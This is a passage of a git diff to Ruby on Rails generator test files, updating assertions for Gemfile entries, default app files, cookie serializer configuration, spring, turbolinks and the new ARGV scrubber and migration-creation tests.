action :gem, 'rspec', github: 'dchelimsky/rspec', tag: '1.2.9.rc1'
- assert_file 'Gemfile', /gem "rspec", github: "dchelimsky\/rspec", tag: "1\.2\.9\.rc1"/
+ assert_file 'Gemfile', /gem 'rspec', github: 'dchelimsky\/rspec', tag: '1\.2\.9\.rc1'/
+ end
+
+ def test_gem_with_non_string_options
+ run_generator
+
+ action :gem, 'rspec', require: false
+ action :gem, 'rspec-rails', group: [:development, :test]
+
+ assert_file 'Gemfile', /^gem 'rspec', require: false$/
+ assert_file 'Gemfile', /^gem 'rspec-rails', group: \[:development, :test\]$/
+ end
+
+ def test_gem_falls_back_to_inspect_if_string_contains_single_quote
+ run_generator
+
+ action :gem, 'rspec', ">=2.0'0"
+
+ assert_file 'Gemfile', /^gem 'rspec', ">=2\.0'0"$/
end
def test_gem_group_should_wrap_gems_in_a_group
@@ -89,7 +108,7 @@ class ActionsTest < Rails::Generators::TestCase
gem 'fakeweb'
end
- assert_file 'Gemfile', /\ngroup :development, :test do\n gem "rspec-rails"\nend\n\ngroup :test do\n gem "fakeweb"\nend/
+ assert_file 'Gemfile', /\ngroup :development, :test do\n gem 'rspec-rails'\nend\n\ngroup :test do\n gem 'fakeweb'\nend/
end
def test_environment_should_include_data_in_environment_initializer_block
@@ -103,7 +122,7 @@ class ActionsTest < Rails::Generators::TestCase
run_generator
autoload_paths = 'config.autoload_paths += %w["#{Rails.root}/app/extras"]'
action :environment, autoload_paths, env: 'development'
- assert_file "config/environments/development.rb", /Application\.configure do\n #{Regexp.escape(autoload_paths)}/
+ assert_file "config/environments/development.rb", /Rails\.application\.configure do\n #{Regexp.escape(autoload_paths)}/
end
def test_environment_with_block_should_include_block_contents_in_environment_initializer_block
@@ -151,7 +170,7 @@ class ActionsTest < Rails::Generators::TestCase
end
def test_generate_should_run_script_generate_with_argument_and_options
- generator.expects(:run_ruby_script).once.with('script/rails generate model MyModel', verbose: false)
+ generator.expects(:run_ruby_script).once.with('bin/rails generate model MyModel', verbose: false)
action :generate, 'model', 'MyModel'
end
@@ -203,14 +222,14 @@ class ActionsTest < Rails::Generators::TestCase
def test_readme
run_generator
Rails::Generators::AppGenerator.expects(:source_root).times(2).returns(destination_root)
- assert_match(/Welcome to Rails/, action(:readme, "README.rdoc"))
+ assert_match "application up and running", action(:readme, "README.rdoc")
end
def test_readme_with_quiet
generator(default_arguments, quiet: true)
run_generator
Rails::Generators::AppGenerator.expects(:source_root).times(2).returns(destination_root)
- assert_no_match(/Welcome to Rails/, action(:readme, "README.rdoc"))
+ assert_no_match "application up and running", action(:readme, "README.rdoc")
end
def test_log
@@ -234,7 +253,7 @@ class ActionsTest < Rails::Generators::TestCase
protected
def action(*args, &block)
- silence(:stdout){ generator.send(*args, &block) }
+ capture(:stdout){ generator.send(*args, &block) }
end
end
diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb
index b7e366d266..b7cbe04003 100644
--- a/railties/test/generators/app_generator_test.rb
+++ b/railties/test/generators/app_generator_test.rb
@@ -1,9 +1,11 @@
require 'generators/generators_test_helper'
require 'rails/generators/rails/app/app_generator'
require 'generators/shared_generator_tests'
+require 'mocha/setup' # FIXME: stop using mocha
DEFAULT_APP_FILES = %w(
.gitignore
+ README.rdoc
Gemfile
Rakefile
config.ru
@@ -11,29 +13,35 @@ DEFAULT_APP_FILES = %w(
app/assets/stylesheets
app/assets/images
app/controllers
+ app/controllers/concerns
app/helpers
app/mailers
app/models
+ app/models/concerns
app/views/layouts
+ bin/bundle
+ bin/rails
+ bin/rake
+ bin/setup
config/environments
config/initializers
config/locales
db
- doc
lib
lib/tasks
lib/assets
log
- script/rails
+ test/test_helper.rb
test/fixtures
test/controllers
test/models
test/helpers
test/mailers
test/integration
- test/performance
vendor
vendor/assets
+ vendor/assets/stylesheets
+ vendor/assets/javascripts
tmp/cache
tmp/cache/assets
)
@@ -51,10 +59,11 @@ class AppGeneratorTest < Rails::Generators::TestCase
def test_assets
run_generator
- assert_file "app/views/layouts/application.html.erb", /stylesheet_link_tag\s+"application"/
- assert_file "app/views/layouts/application.html.erb", /javascript_include_tag\s+"application"/
- assert_file "app/assets/stylesheets/application.css"
- assert_file "config/application.rb", /config\.assets\.enabled = true/
+
+ assert_file("app/views/layouts/application.html.erb", /stylesheet_link_tag\s+'application', media: 'all', 'data-turbolinks-track' => true/)
+ assert_file("app/views/layouts/application.html.erb", /javascript_include_tag\s+'application', 'data-turbolinks-track' => true/)
+ assert_file("app/assets/stylesheets/application.css")
+ assert_file("app/assets/javascripts/application.js")
end
def test_invalid_application_name_raises_an_error
@@ -64,12 +73,12 @@ class AppGeneratorTest < Rails::Generators::TestCase
def test_invalid_application_name_is_fixed
run_generator [File.join(destination_root, "things-43")]
- assert_file "things-43/config/environment.rb", /Things43::Application\.initialize!/
+ assert_file "things-43/config/environment.rb", /Rails\.application\.initialize!/
assert_file "things-43/config/application.rb", /^module Things43$/
end
def test_application_new_exits_with_non_zero_code_on_invalid_application_name
- quietly { system 'rails new test' }
+ quietly { system 'rails new test --no-rc' }
assert_equal false, $?.success?
end
@@ -106,11 +115,14 @@ class AppGeneratorTest < Rails::Generators::TestCase
FileUtils.mv(app_root, app_moved_root)
+ # make sure we are in correct dir
+ FileUtils.cd(app_moved_root)
+
generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true },
destination_root: app_moved_root, shell: @shell
generator.send(:app_const)
- quietly { generator.send(:create_config_files) }
- assert_file "myapp_moved/config/environment.rb", /Myapp::Application\.initialize!/
+ quietly { generator.send(:update_config_files) }
+ assert_file "myapp_moved/config/environment.rb", /Rails\.application\.initialize!/
assert_file "myapp_moved/config/initializers/session_store.rb", /_myapp_session/
end
@@ -124,13 +136,49 @@ class AppGeneratorTest < Rails::Generators::TestCase
generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, destination_root: app_root, shell: @shell
generator.send(:app_const)
- quietly { generator.send(:create_config_files) }
+ quietly { generator.send(:update_config_files) }
assert_file "myapp/config/initializers/session_store.rb", /_myapp_session/
end
+ def test_new_application_use_json_serialzier
+ run_generator
+
+ assert_file("config/initializers/cookies_serializer.rb", /Rails\.application\.config\.action_dispatch\.cookies_serializer = :json/)
+ end
+
+ def test_rails_update_keep_the_cookie_serializer_if_it_is_already_configured
+ app_root = File.join(destination_root, 'myapp')
+ run_generator [app_root]
+
+ Rails.application.config.root = app_root
+ Rails.application.class.stubs(:name).returns("Myapp")
+ Rails.application.stubs(:is_a?).returns(Rails::Application)
+
+ generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, destination_root: app_root, shell: @shell
+ generator.send(:app_const)
+ quietly { generator.send(:update_config_files) }
+ assert_file("#{app_root}/config/initializers/cookies_serializer.rb", /Rails\.application\.config\.action_dispatch\.cookies_serializer = :json/)
+ end
+
+ def test_rails_update_set_the_cookie_serializer_to_marchal_if_it_is_not_already_configured
+ app_root = File.join(destination_root, 'myapp')
+ run_generator [app_root]
+
+ FileUtils.rm("#{app_root}/config/initializers/cookies_serializer.rb")
+
+ Rails.application.config.root = app_root
+ Rails.application.class.stubs(:name).returns("Myapp")
+ Rails.application.stubs(:is_a?).returns(Rails::Application)
+
+ generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, destination_root: app_root, shell: @shell
+ generator.send(:app_const)
+ quietly { generator.send(:update_config_files) }
+ assert_file("#{app_root}/config/initializers/cookies_serializer.rb", /Rails\.application\.config\.action_dispatch\.cookies_serializer = :marshal/)
+ end
+
def test_application_names_are_not_singularized
run_generator [File.join(destination_root, "hats")]
- assert_file "hats/config/environment.rb", /Hats::Application\.initialize!/
+ assert_file "hats/config/environment.rb", /Rails\.application\.initialize!/
end
def test_gemfile_has_no_whitespace_errors
@@ -146,30 +194,35 @@ class AppGeneratorTest < Rails::Generators::TestCase
def test_config_database_is_added_by_default
run_generator
assert_file "config/database.yml", /sqlite3/
- unless defined?(JRUBY_VERSION)
- assert_gem "sqlite3"
- else
+ if defined?(JRUBY_VERSION)
assert_gem "activerecord-jdbcsqlite3-adapter"
+ else
+ assert_gem "sqlite3"
end
end
def test_config_another_database
run_generator([destination_root, "-d", "mysql"])
assert_file "config/database.yml", /mysql/
- unless defined?(JRUBY_VERSION)
- assert_gem "mysql2"
- else
+ if defined?(JRUBY_VERSION)
assert_gem "activerecord-jdbcmysql-adapter"
+ else
+ assert_gem "mysql2"
end
end
+ def test_config_database_app_name_with_period
+ run_generator [File.join(destination_root, "common.usage.com"), "-d", "postgresql"]
+ assert_file "common.usage.com/config/database.yml", /common_usage_com/
+ end
+
def test_config_postgresql_database
run_generator([destination_root, "-d", "postgresql"])
assert_file "config/database.yml", /postgresql/
- unless defined?(JRUBY_VERSION)
- assert_gem "pg"
- else
+ if defined?(JRUBY_VERSION)
assert_gem "activerecord-jdbcpostgresql-adapter"
+ else
+ assert_gem "pg"
end
end
@@ -177,9 +230,6 @@ class AppGeneratorTest < Rails::Generators::TestCase
run_generator([destination_root, "-d", "jdbcmysql"])
assert_file "config/database.yml", /mysql/
assert_gem "activerecord-jdbcmysql-adapter"
- # TODO: When the JRuby guys merge jruby-openssl in
- # jruby this will be removed
- assert_gem "jruby-openssl" if defined?(JRUBY_VERSION)
end
def test_config_jdbcsqlite3_database
@@ -201,9 +251,9 @@ class AppGeneratorTest < Rails::Generators::TestCase
assert_gem "activerecord-jdbc-adapter"
end
- def test_config_jdbc_database_when_no_option_given
- if defined?(JRUBY_VERSION)
- run_generator([destination_root])
+ if defined?(JRUBY_VERSION)
+ def test_config_jdbc_database_when_no_option_given
+ run_generator
assert_file "config/database.yml", /sqlite3/
assert_gem "activerecord-jdbcsqlite3-adapter"
end
@@ -216,19 +266,18 @@ class AppGeneratorTest < Rails::Generators::TestCase
assert_file "test/test_helper.rb" do |helper_content|
assert_no_match(/fixtures :all/, helper_content)
end
- assert_file "test/performance/browsing_test.rb"
end
def test_generator_if_skip_sprockets_is_given
run_generator [destination_root, "--skip-sprockets"]
+ assert_no_file "config/initializers/assets.rb"
assert_file "config/application.rb" do |content|
assert_match(/#\s+require\s+["']sprockets\/railtie["']/, content)
- assert_no_match(/config\.assets\.enabled = true/, content)
end
assert_file "Gemfile" do |content|
assert_no_match(/sass-rails/, content)
- assert_no_match(/coffee-rails/, content)
assert_no_match(/uglifier/, content)
+ assert_match(/coffee-rails/, content)
end
assert_file "config/environments/development.rb" do |content|
assert_no_match(/config\.assets\.debug = true/, content)
@@ -238,33 +287,17 @@ class AppGeneratorTest < Rails::Generators::TestCase
assert_no_match(/config\.assets\.js_compressor = :uglifier/, content)
assert_no_match(/config\.assets\.css_compressor = :sass/, content)
end
- assert_file "test/performance/browsing_test.rb"
end
def test_inclusion_of_javascript_runtime
- run_generator([destination_root])
+ run_generator
if defined?(JRUBY_VERSION)
assert_gem "therubyrhino"
else
- assert_file "Gemfile", /# gem\s+["']therubyracer["']+, platforms: :ruby$/
+ assert_file "Gemfile", /# gem 'therubyracer', platforms: :ruby/
end
end
- def test_creation_of_a_test_directory
- run_generator
- assert_file 'test'
- end
-
- def test_creation_of_vendor_assets_javascripts_directory
- run_generator
- assert_file "vendor/assets/javascripts"
- end
-
- def test_creation_of_vendor_assets_stylesheets_directory
- run_generator
- assert_file "vendor/assets/stylesheets"
- end
-
def test_jquery_is_the_default_javascript_library
run_generator
assert_file "app/assets/javascripts/application.js" do |contents|
@@ -285,14 +318,43 @@ class AppGeneratorTest < Rails::Generators::TestCase
def test_javascript_is_skipped_if_required
run_generator [destination_root, "--skip-javascript"]
- assert_file "app/assets/javascripts/application.js" do |contents|
- assert_no_match %r{^//=\s+require\s}, contents
+
+ assert_no_file "app/assets/javascripts"
+ assert_no_file "vendor/assets/javascripts"
+
+ assert_file "app/views/layouts/application.html.erb" do |contents|
+ assert_match(/stylesheet_link_tag\s+'application', media: 'all' %>/, contents)
+ assert_no_match(/javascript_include_tag\s+'application' \%>/, contents)
+ end
+
+ assert_file "Gemfile" do |content|
+ assert_no_match(/coffee-rails/, content)
+ assert_no_match(/jquery-rails/, content)
end
end
- def test_inclusion_of_debugger
+ def test_inclusion_of_jbuilder
run_generator
- assert_file "Gemfile", /# gem 'debugger'/
+ assert_gem 'jbuilder'
+ end
+
+ def test_inclusion_of_a_debugger
+ run_generator
+ if defined?(JRUBY_VERSION)
+ assert_file "Gemfile" do |content|
+ assert_no_match(/byebug/, content)
+ assert_no_match(/debugger/, content)
+ end
+ elsif RUBY_VERSION < '2.0.0'
+ assert_gem 'debugger'
+ else
+ assert_gem 'byebug'
+ end
+ end
+
+ def test_inclusion_of_doc
+ run_generator
+ assert_file 'Gemfile', /gem 'sdoc',\s+'~> 0.4.0',\s+group: :doc/
end
def test_template_from_dir_pwd
@@ -328,21 +390,13 @@ class AppGeneratorTest < Rails::Generators::TestCase
run_generator [destination_root, "--skip-test-unit", "--skip-active-record"]
assert_file "config/application.rb", /#\s+require\s+["']rails\/test_unit\/railtie["']/
assert_file "config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
+ assert_file "config/application.rb", /\s+require\s+["']active_job\/railtie["']/
end
def test_new_hash_style
- run_generator [destination_root]
+ run_generator
assert_file "config/initializers/session_store.rb" do |file|
- assert_match(/config.session_store :encrypted_cookie_store, key: '_.+_session'/, file)
- end
- end
-
- def test_generated_environments_file_for_auto_explain
- run_generator [destination_root, "--skip-active-record"]
- %w(development production).each do |env|
- assert_file "config/environments/#{env}.rb" do |file|
- assert_no_match %r(auto_explain_threshold_in_seconds), file
- end
+ assert_match(/config.session_store :cookie_store, key: '_.+_session'/, file)
end
end
@@ -351,38 +405,124 @@ class AppGeneratorTest < Rails::Generators::TestCase
assert_no_match(/run bundle install/, output)
end
-protected
+ def test_application_name_with_spaces
+ path = File.join(destination_root, "foo bar".shellescape)
- def action(*args, &block)
- silence(:stdout) { generator.send(*args, &block) }
+ # This also applies to MySQL apps but not with SQLite
+ run_generator [path, "-d", 'postgresql']
+
+ assert_file "foo bar/config/database.yml", /database: foo_bar_development/
+ assert_file "foo bar/config/initializers/session_store.rb", /key: '_foo_bar/
end
- def assert_gem(gem)
- assert_file "Gemfile", /^gem\s+["']#{gem}["']$/
+ def test_web_console
+ run_generator
+ assert_gem 'web-console'
end
-end
-class CustomAppGeneratorTest < Rails::Generators::TestCase
- include GeneratorsTestHelper
- tests Rails::Generators::AppGenerator
+ def test_spring
+ run_generator
+ assert_gem 'spring'
+ end
- arguments [destination_root]
- include SharedCustomGeneratorTests
+ def test_spring_binstubs
+ jruby_skip "spring doesn't run on JRuby"
+ generator.stubs(:bundle_command).with('install')
+ generator.expects(:bundle_command).with('exec spring binstub --all').once
+ quietly { generator.invoke_all }
+ end
-protected
- def default_files
- ::DEFAULT_APP_FILES
+ def test_spring_no_fork
+ jruby_skip "spring doesn't run on JRuby"
+ Process.stubs(:respond_to?).with(:fork).returns(false)
+ run_generator
+
+ assert_file "Gemfile" do |content|
+ assert_no_match(/spring/, content)
+ end
end
- def builders_dir
- "app_builders"
+ def test_skip_spring
+ run_generator [destination_root, "--skip-spring"]
+
+ assert_file "Gemfile" do |content|
+ assert_no_match(/spring/, content)
+ end
end
- def builder_class
- :AppBuilder
+ def test_generator_if_skip_turbolinks_is_given
+ run_generator [destination_root, "--skip-turbolinks"]
+
+ assert_file "Gemfile" do |content|
+ assert_no_match(/turbolinks/, content)
+ end
+ assert_file "app/views/layouts/application.html.erb" do |content|
+ assert_no_match(/data-turbolinks-track/, content)
+ end
+ assert_file "app/assets/javascripts/application.js" do |content|
+ assert_no_match(/turbolinks/, content)
+ end
+ end
+
+ def test_gitignore_when_sqlite3
+ run_generator
+
+ assert_file '.gitignore' do |content|
+ assert_match(/sqlite3/, content)
+ end
+ end
+
+ def test_gitignore_when_no_active_record
+ run_generator [destination_root, '--skip-active-record']
+
+ assert_file '.gitignore' do |content|
+ assert_no_match(/sqlite/i, content)
+ end
+ end
+
+ def test_gitignore_when_non_sqlite3_db
+ run_generator([destination_root, "-d", "mysql"])
+
+ assert_file '.gitignore' do |content|
+ assert_no_match(/sqlite/i, content)
+ end
end
+ def test_psych_gem
+ run_generator
+ gem_regex = /gem 'psych',\s+'~> 2.0',\s+platforms: :rbx/
+
+ assert_file "Gemfile" do |content|
+ if defined?(Rubinius)
+ assert_match(gem_regex, content)
+ else
+ assert_no_match(gem_regex, content)
+ end
+ end
+ end
+
+ def test_after_bundle_callback
+ path = 'http://example.org/rails_template'
+ template = %{ after_bundle { run 'echo ran after_bundle' } }
+ template.instance_eval "def read; self; end" # Make the string respond to read
+
+ generator([destination_root], template: path).expects(:open).with(path, 'Accept' => 'application/x-thor-template').returns(template)
+
+ bundler_first = sequence('bundle, binstubs, after_bundle')
+ generator.expects(:bundle_command).with('install').once.in_sequence(bundler_first)
+ generator.expects(:bundle_command).with('exec spring binstub --all').in_sequence(bundler_first)
+ generator.expects(:run).with('echo ran after_bundle').in_sequence(bundler_first)
+
+ quietly { generator.invoke_all }
+ end
+
+ protected
+
def action(*args, &block)
- silence(:stdout) { generator.send(*args, &block) }
+ capture(:stdout) { generator.send(*args, &block) }
+ end
+
+ def assert_gem(gem)
+ assert_file "Gemfile", /^\s*gem\s+["']#{gem}["']$*/
end
end
diff --git a/railties/test/generators/argv_scrubber_test.rb b/railties/test/generators/argv_scrubber_test.rb
new file mode 100644
index 0000000000..31e07bc8da
--- /dev/null
+++ b/railties/test/generators/argv_scrubber_test.rb
@@ -0,0 +1,136 @@
+require 'active_support/test_case'
+require 'active_support/testing/autorun'
+require 'rails/generators/rails/app/app_generator'
+require 'tempfile'
+
+module Rails
+ module Generators
+ class ARGVScrubberTest < ActiveSupport::TestCase # :nodoc:
+ # Future people who read this... These tests are just to surround the
+ # current behavior of the ARGVScrubber, they do not mean that the class
+ # *must* act this way, I just want to prevent regressions.
+
+ def test_version
+ ['-v', '--version'].each do |str|
+ scrubber = ARGVScrubber.new [str]
+ output = nil
+ exit_code = nil
+ scrubber.extend(Module.new {
+ define_method(:puts) { |string| output = string }
+ define_method(:exit) { |code| exit_code = code }
+ })
+ scrubber.prepare!
+ assert_equal "Rails #{Rails::VERSION::STRING}", output
+ assert_equal 0, exit_code
+ end
+ end
+
+ def test_default_help
+ argv = ['zomg', 'how', 'are', 'you']
+ scrubber = ARGVScrubber.new argv
+ args = scrubber.prepare!
+ assert_equal ['--help'] + argv.drop(1), args
+ end
+
+ def test_prepare_returns_args
+ scrubber = ARGVScrubber.new ['hi mom']
+ args = scrubber.prepare!
+ assert_equal '--help', args.first
+ end
+
+ def test_no_mutations
+ scrubber = ARGVScrubber.new ['hi mom'].freeze
+ args = scrubber.prepare!
+ assert_equal '--help', args.first
+ end
+
+ def test_new_command_no_rc
+ scrubber = Class.new(ARGVScrubber) {
+ def self.default_rc_file
+ File.join(Dir.tmpdir, 'whatever')
+ end
+ }.new ['new']
+ args = scrubber.prepare!
+ assert_equal [], args
+ end
+
+ def test_new_homedir_rc
+ file = Tempfile.new 'myrcfile'
+ file.puts '--hello-world'
+ file.flush
+
+ message = nil
+ scrubber = Class.new(ARGVScrubber) {
+ define_singleton_method(:default_rc_file) do
+ file.path
+ end
+ define_method(:puts) { |msg| message = msg }
+ }.new ['new']
+ args = scrubber.prepare!
+ assert_equal ['--hello-world'], args
+ assert_match 'hello-world', message
+ assert_match file.path, message
+ ensure
+ file.close
+ file.unlink
+ end
+
+ def test_rc_whitespace_separated
+ file = Tempfile.new 'myrcfile'
+ file.puts '--hello --world'
+ file.flush
+
+ message = nil
+ scrubber = Class.new(ARGVScrubber) {
+ define_method(:puts) { |msg| message = msg }
+ }.new ['new', "--rc=#{file.path}"]
+ args = scrubber.prepare!
+ assert_equal ['--hello', '--world'], args
+ ensure
+ file.close
+ file.unlink
+ end
+
+ def test_new_rc_option
+ file = Tempfile.new 'myrcfile'
+ file.puts '--hello-world'
+ file.flush
+
+ message = nil
+ scrubber = Class.new(ARGVScrubber) {
+ define_method(:puts) { |msg| message = msg }
+ }.new ['new', "--rc=#{file.path}"]
+ args = scrubber.prepare!
+ assert_equal ['--hello-world'], args
+ assert_match 'hello-world', message
+ assert_match file.path, message
+ ensure
+ file.close
+ file.unlink
+ end
+
+ def test_new_rc_option_and_custom_options
+ file = Tempfile.new 'myrcfile'
+ file.puts '--hello'
+ file.puts '--world'
+ file.flush
+
+ scrubber = Class.new(ARGVScrubber) {
+ define_method(:puts) { |msg| }
+ }.new ['new', 'tenderapp', '--love', "--rc=#{file.path}"]
+
+ args = scrubber.prepare!
+ assert_equal ["tenderapp", "--hello", "--world", "--love"], args
+ ensure
+ file.close
+ file.unlink
+ end
+
+ def test_no_rc
+ scrubber = ARGVScrubber.new ['new', '--no-rc']
+ args = scrubber.prepare!
+ assert_equal [], args
+ end
+ end
+ end
+end
diff --git a/railties/test/generators/controller_generator_test.rb b/railties/test/generators/controller_generator_test.rb
index 5205deafd9..a7d56dd352 100644
--- a/railties/test/generators/controller_generator_test.rb
+++ b/railties/test/generators/controller_generator_test.rb
@@ -28,13 +28,11 @@ class ControllerGeneratorTest < Rails::Generators::TestCase
def test_invokes_helper
run_generator
assert_file "app/helpers/account_helper.rb"
- assert_file "test/helpers/account_helper_test.rb"
end
def test_does_not_invoke_helper_if_required
run_generator ["account", "--skip-helper"]
assert_no_file "app/helpers/account_helper.rb"
- assert_no_file "test/helpers/account_helper_test.rb"
end
def test_invokes_assets
@@ -43,6 +41,12 @@ class ControllerGeneratorTest < Rails::Generators::TestCase
assert_file "app/assets/stylesheets/account.css"
end
+ def test_does_not_invoke_assets_if_required
+ run_generator ["account", "--skip-assets"]
+ assert_no_file "app/assets/javascripts/account.js"
+ assert_no_file "app/assets/stylesheets/account.css"
+ end
+
def test_invokes_default_test_framework
run_generator
assert_file "test/controllers/account_controller_test.rb"
@@ -61,7 +65,14 @@ class ControllerGeneratorTest < Rails::Generators::TestCase
def test_add_routes
run_generator
- assert_file "config/routes.rb", /get "account\/foo"/, /get "account\/bar"/
+ assert_file "config/routes.rb", /get 'account\/foo'/, /get 'account\/bar'/
+ end
+
+ def test_skip_routes
+ run_generator ["account", "foo", "--skip-routes"]
+ assert_file "config/routes.rb" do |routes|
+ assert_no_match(/get 'account\/foo'/, routes)
+ end
end
def test_invokes_default_template_engine_even_with_no_action
@@ -82,4 +93,9 @@ class ControllerGeneratorTest < Rails::Generators::TestCase
assert_instance_method :bar, controller
end
end
+
+ def test_namespaced_routes_are_created_in_routes
+ run_generator ["admin/dashboard", "index"]
+ assert_file "config/routes.rb", /namespace :admin do\n\s+get 'dashboard\/index'\n/
+ end
end
diff --git a/railties/test/generators/create_migration_test.rb b/railties/test/generators/create_migration_test.rb
new file mode 100644
index 0000000000..e16a77479a
--- /dev/null
+++ b/railties/test/generators/create_migration_test.rb
@@ -0,0 +1,134 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/migration/migration_generator'
+
+class CreateMigrationTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+
+ class Migrator < Rails::Generators::MigrationGenerator
+ include Rails::Generators::Migration
+
+ def self.next_migration_number(dirname)
+ current_migration_number(dirname) + 1
+ end
+ end
+
+ tests Migrator
+
+ def default_destination_path
+ "db/migrate/create_articles.rb"
+ end
+
+ def create_migration(destination_path = default_destination_path, config = {}, generator_options = {}, &block)
+ migration_name = File.basename(destination_path, '.rb')
+ generator([migration_name], generator_options)
+ generator.set_migration_assigns!(destination_path)
+
+ dir, base = File.split(destination_path)
+ timestamped_destination_path = File.join(dir, ["%migration_number%", base].join('_'))
+
+ @migration = Rails::Generators::Actions::CreateMigration.new(generator, timestamped_destination_path, block || "contents", config)
+ end
+
+ def migration_exists!(*args)
+ @existing_migration = create_migration(*args)
+ invoke!
+ @generator = nil
+ end
+
+ def invoke!
+ capture(:stdout) { @migration.invoke! }
+ end
+
+ def revoke!
+ capture(:stdout) { @migration.revoke! }
+ end
+
+ def test_invoke
+ create_migration
+
+ assert_match(/create db\/migrate\/1_create_articles.rb\n/, invoke!)
+ assert_file @migration.destination
+ end
+
+ def test_invoke_pretended
+ create_migration(default_destination_path, {}, { pretend: true })
+
+ assert_no_file @migration.destination
+ end
+
+ def test_invoke_when_exists
+ migration_exists!
+ create_migration
+
+ assert_equal @existing_migration.destination, @migration.existing_migration
+ end
+
+ def test_invoke_when_exists_identical
+ migration_exists!
+ create_migration
+
+ assert_match(/identical db\/migrate\/1_create_articles.rb\n/, invoke!)
+ assert @migration.identical?
+ end
+
+ def test_invoke_when_exists_not_identical
+ migration_exists!
+ create_migration { "different content" }
+
+ assert_raise(Rails::Generators::Error) { invoke! }
+ end
+
+ def test_invoke_forced_when_exists_not_identical
+ dest = "db/migrate/migration.rb"
+ migration_exists!(dest)
+ create_migration(dest, force: true) { "different content" }
+
+ stdout = invoke!
+ assert_match(/remove db\/migrate\/1_migration.rb\n/, stdout)
+ assert_match(/create db\/migrate\/2_migration.rb\n/, stdout)
+ assert_file @migration.destination
+ assert_no_file @existing_migration.destination
+ end
+
+ def test_invoke_forced_pretended_when_exists_not_identical
+ migration_exists!
+ create_migration(default_destination_path, { force: true }, { pretend: true }) do
+ "different content"
+ end
+
+ stdout = invoke!
+ assert_match(/remove db\/migrate\/1_create_articles.rb\n/, stdout)
+ assert_match(/create db\/migrate\/2_create_articles.rb\n/, stdout)
+ assert_no_file @migration.destination
+ end
+
+ def test_invoke_skipped_when_exists_not_identical
+ migration_exists!
+ create_migration(default_destination_path, {}, { skip: true }) { "different content" }
+
+ assert_match(/skip db\/migrate\/2_create_articles.rb\n/, invoke!)
+ assert_no_file @migration.destination
+ end
+
+ def test_revoke
+ migration_exists!
+ create_migration
+
+ assert_match(/remove db\/migrate\/1_create_articles.rb\n/, revoke!)
+ assert_no_file @existing_migration.destination
+ end
+
+ def test_revoke_pretended
+ migration_exists!
+ create_migration(default_destination_path, {}, { pretend: true })
+
+ assert_match(/remove db\/migrate\/1_create_articles.rb\n/, revoke!)
+ assert_file @existing_migration.destination
+ end
+
+ def test_revoke_when_no_exists
+ create_migration
+
+ assert_match(/remove db\/migrate\/1_create_articles.rb\n/, revoke!)
+ end
+end
diff --git a/railties/test/generators/generated_attribute_test.rb b/railties/test/generators/generated_attribute_test.rb
index d08e650b62..ee7c009305 100644
--- a/railties/test/generators/generated_attribute_test.rb
+++ b/railties/test/generators/generated_attribute_test.rb
@@ -136,9 +136,17 @@ class GeneratedAttributeTest < Rails::Generators::TestCase
assert_equal ["post_id", "post_type"], create_generated_attribute('references{polymorphic}', 'post').index_name
end
- def test_handles_index_names_for_references
+ def test_handles_column_names_for_references
assert_equal "post", create_generated_attribute('string', 'post').column_name
assert_equal "post_id", create_generated_attribute('references', 'post').column_name
assert_equal "post_id", create_generated_attribute('belongs_to', 'post').column_name
end
+
+ def test_parse_required_attribute_with_index
+ att = Rails::Generators::GeneratedAttribute.parse("supplier:references{required}:index")
+ assert_equal "supplier", att.name
+ assert_equal :references, att.type
+ assert att.has_index?
+ assert att.required?
+ end
end
diff --git a/railties/test/generators/generator_generator_test.rb b/railties/test/generators/generator_generator_test.rb
index f4c975fc18..dcfeaaa8e0 100644
--- a/railties/test/generators/generator_generator_test.rb
+++ b/railties/test/generators/generator_generator_test.rb
@@ -16,6 +16,9 @@ class GeneratorGeneratorTest < Rails::Generators::TestCase
assert_file "lib/generators/awesome/awesome_generator.rb",
/class AwesomeGenerator < Rails::Generators::NamedBase/
+ assert_file "test/lib/generators/awesome_generator_test.rb",
+ /class AwesomeGeneratorTest < Rails::Generators::TestCase/,
+ /require 'generators\/awesome\/awesome_generator'/
end
def test_namespaced_generator_skeleton
@@ -29,6 +32,9 @@ class GeneratorGeneratorTest < Rails::Generators::TestCase
assert_file "lib/generators/rails/awesome/awesome_generator.rb",
/class Rails::AwesomeGenerator < Rails::Generators::NamedBase/
+ assert_file "test/lib/generators/rails/awesome_generator_test.rb",
+ /class Rails::AwesomeGeneratorTest < Rails::Generators::TestCase/,
+ /require 'generators\/rails\/awesome\/awesome_generator'/
end
def test_generator_skeleton_is_created_without_file_name_namespace
@@ -42,6 +48,9 @@ class GeneratorGeneratorTest < Rails::Generators::TestCase
assert_file "lib/generators/awesome_generator.rb",
/class AwesomeGenerator < Rails::Generators::NamedBase/
+ assert_file "test/lib/generators/awesome_generator_test.rb",
+ /class AwesomeGeneratorTest < Rails::Generators::TestCase/,
+ /require 'generators\/awesome_generator'/
end
def test_namespaced_generator_skeleton_without_file_name_namespace
@@ -55,5 +64,8 @@ class GeneratorGeneratorTest < Rails::Generators::TestCase
assert_file "lib/generators/rails/awesome_generator.rb",
/class Rails::AwesomeGenerator < Rails::Generators::NamedBase/
+ assert_file "test/lib/generators/rails/awesome_generator_test.rb",
+ /class Rails::AwesomeGeneratorTest < Rails::Generators::TestCase/,
+ /require 'generators\/rails\/awesome_generator'/
end
end
diff --git a/railties/test/generators/generator_test.rb b/railties/test/generators/generator_test.rb
new file mode 100644
index 0000000000..7871399dd7
--- /dev/null
+++ b/railties/test/generators/generator_test.rb
@@ -0,0 +1,85 @@
+require 'active_support/test_case'
+require 'active_support/testing/autorun'
+require 'rails/generators/app_base'
+
+module Rails
+ module Generators
+ class GeneratorTest < ActiveSupport::TestCase
+ def make_builder_class
+ Class.new(AppBase) do
+ add_shared_options_for "application"
+
+ # include a module to get around thor's method_added hook
+ include(Module.new {
+ def gemfile_entries; super; end
+ def invoke_all; super; self; end
+ def add_gem_entry_filter; super; end
+ def gemfile_entry(*args); super; end
+ })
+ end
+ end
+
+ def test_construction
+ klass = make_builder_class
+ assert klass.start(['new', 'blah'])
+ end
+
+ def test_add_gem
+ klass = make_builder_class
+ generator = klass.start(['new', 'blah'])
+ generator.gemfile_entry 'tenderlove'
